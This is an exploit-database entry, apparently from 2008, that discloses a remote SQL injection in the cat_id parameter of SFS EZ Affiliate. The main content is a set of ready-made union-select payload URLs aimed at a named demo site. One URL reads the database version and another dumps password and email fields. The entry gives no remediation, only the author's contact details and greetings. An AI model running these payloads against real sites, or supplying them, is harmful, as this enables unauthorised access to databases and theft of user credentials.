[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SFS EZ Affiliate (cat_id) Remote SQL Injection Vulnerability
# Published : 2008-10-31
# Author : d3b4g
# Previous Title : SFS EZ BIZ PRO (track.php id) Remote SQL Injection Vulnerability
# Next Title : Article Publisher PRO 1.5 (SQL Injection) Auth Bypass Vulnerability
SFS EZ Affiliate [cat_id] Remote SQL Injection Vulnerability
===============================================================
----------------------------------------------------------------
Application : SFS EZ Affiliate
Risk : High
----------------------------------------------------------------
Discovered by : d3b4g
email : bl4ckend[at]gmail[dot]come
Site. www.bl4ck3nd.info
----------------------------------------------------------------
Exploite:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=[sql]
Version Check:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13+from+links/*
Demo: http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,concat_ws(password,email),4,5,6,7,8,9,10,11,12,13+from+links/*
----------------------------------------------------------------
----------------------------------------------------------------
Greetz: str0ke,All my friends
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================
# www.Syue.com [2008-10-31]